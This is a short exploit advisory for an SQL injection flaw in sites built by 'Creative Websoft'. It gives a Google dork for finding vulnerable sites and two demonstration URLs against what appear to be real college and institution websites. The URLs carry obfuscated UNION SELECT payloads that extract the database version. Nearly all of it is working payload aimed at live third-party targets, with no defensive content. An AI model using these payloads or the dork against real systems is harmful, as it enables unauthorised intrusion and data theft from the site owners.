********************************************************* #Exploit Title: Creative Websoft - Sql Injection Vulnerability #Date: 2022-01-23 #Exploit Author: Behrouz Mansoori #Google Dork: "Website Desined By: Creative Websoft" #Category:webapps #Tested On: windows 10, Firefox Proof of Concept: Search google Dork: "Website Desined By: Creative Websoft" ### Demo : http://akkmpgcollege.org.in/content.php?id=-2%27%20/*!12345union*/%20select%201,version(),3--+&page=2#top https://www.nrinstitutions.org.in/news.php?id=-5%27%20/*!12345union*/%20select%201,version(),3,4,5--+ ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: mr.mansoori@yahoo.com *********************************************************